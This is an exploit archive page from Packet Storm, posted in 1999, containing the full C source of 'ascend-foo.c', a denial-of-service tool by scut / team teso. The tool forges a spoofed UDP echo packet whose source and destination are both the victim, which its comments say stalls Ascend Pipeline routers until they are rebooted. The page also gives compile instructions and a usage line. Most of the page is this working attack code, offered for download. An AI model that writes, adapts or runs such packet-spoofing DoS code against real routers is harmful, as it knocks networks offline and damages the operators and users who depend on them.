exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ascend-foo.c

ascend-foo.c
Posted Dec 31, 1999
Authored by scut

ascend foo denial of service exploit - basically just another lame echo/echo link, but has nice results on ascend, the router needs to be rebooted.

tags | denial of service
SHA-256 | fe530210211c98eb326d365ad3afea020c2bcac0189958f184e1b378dc1e2bec

ascend-foo.c

Change Mirror Download
/* ascend foo denial of service exploit
* 1999/09/25
*
* basically just another lame echo/echo link, but has nice results on ascend,
* you can increase the lag in steps of 2ms by sending one packet, after some
* few hundret ms lag you overflow the internal packet buffer and the whole
* connection stalls, the router has to be rebooted.
*
* by scut / team teso [http://teso.scene.at/]
*
* compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN
* works fine against Ascend Pipeline * modells, haven't tried against others
*/

#include <stdio.h>
#include <libnet.h>

int
main (int argc, char **argv)
{
int sock, c;
u_long src_ip;
u_char *buf;
u_char *qbuf;
int qbuf_s = 0;

printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n");
if (argc < 2) {
printf ("usage: %s <srcip> [packetsize]\n\n", argv[0]);
exit (EXIT_FAILURE);
} else if (argc == 2) {
qbuf_s = 73;
} else {
qbuf_s = atoi (argv[2]);
}
qbuf = malloc (qbuf_s);

src_ip = libnet_name_resolve (argv[1], 0);

if (src_ip == 0) {
printf ("invalid syntax\n");
exit (EXIT_FAILURE);
}

buf = calloc (1, (UDP_H + IP_H + qbuf_s));
if (buf == NULL) {
perror ("No memory for packet");
exit (EXIT_FAILURE);
}

libnet_seed_prand ();

sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1) {
perror ("No socket");
exit (EXIT_FAILURE);
}

libnet_build_ip ( UDP_H + qbuf_s, /* content size */
0, /* tos */
0, /* id */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
src_ip, /* heh ;) */
src_ip,
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */

libnet_build_udp ( 7, /* source port */
7,
qbuf, /* content already there */
qbuf_s, /* same */
buf + IP_H); /* build after ip header */

libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s);

c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s);
if (c < UDP_H + IP_H + qbuf_s) {
printf ("write_ip wrote too less bytes\n");
}
printf ("completed, wrote %d bytes to victim router\n", c);

free (buf);

return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close